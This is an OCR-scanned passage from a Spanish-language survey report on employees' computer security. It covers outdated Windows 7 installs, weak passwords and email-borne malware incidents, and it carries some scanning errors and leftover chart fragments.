mWindoows 7 mWindows8 m Windows 8.1 Windos 10  m Otros

Fuente: Roberto Chango y Daniela Gualpa
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Interpretacion. -ElI 40% de los empleados tienen instalado el sistema operativo de
Windows 7, en la actualidad se conoce que este sistema operativo cumplié su periodo de
soporte lo que implica que ya no es un sistema seguro. Por lo que la empresa debe ya
considerar instalar una actualizacion méas nueva.

9. ¢Las contrasefias que utiliza en su computadora de trabajo tienen una mezcla entre
nameros, letras y es de mas de 10 caracteres aleatorios?

a. Solo numeros y mas de 10 caracteres  b. Solo letras y menos de 10 caracteres
c. Numeros y letras, mas de 10 caracteres d. Otro e. No utilizo contrasefias.

Grafico 9. Porcentaje de Respuesta pregunta 9.
Pregunta N~ 9

2% ‘
16%

= Solo ndmeros y mas de 10 caracteres = Solo letras y menos de 10 caracteres

Numeros y letras, mas de 10 caracteres Otro

= Mo utilizo contrasefias

Fuente: Roberto Chango y Daniela Gualpa

Interpretacion. -El 60% de los usuarios usa sus contrasefias solo letras y menos de 10
caracteres por lo que no se tiene contrasefias robustas y se puede hackear facilmente por

partes de terceros,

10. ¢En el ultimo afio ha sufrido algun incidente de seguridad informaética en su
computadora de trabajo (correos maliciosos, bloqueo de computadora, perdida de
documentos y fallos de software)?

a. Si,masde2 b.Si, unavez c. No, nunca

Gréfico 10. Porcentaje de Respuesta 10.
Pregunta N° 10

® Si, mas de 2 Si,una wvez = Nunca

Fuente: Roberto Chango y Daniela Gualpa

Interpretacion. -EI 60% representa el impacto que sufrié hace varios meses atras el area
de recepcion y bodega ya que a través de correo electronico sus ordenadores estan
expuestos a infectar con archivos maliciosas que fueron enviados por este medio.
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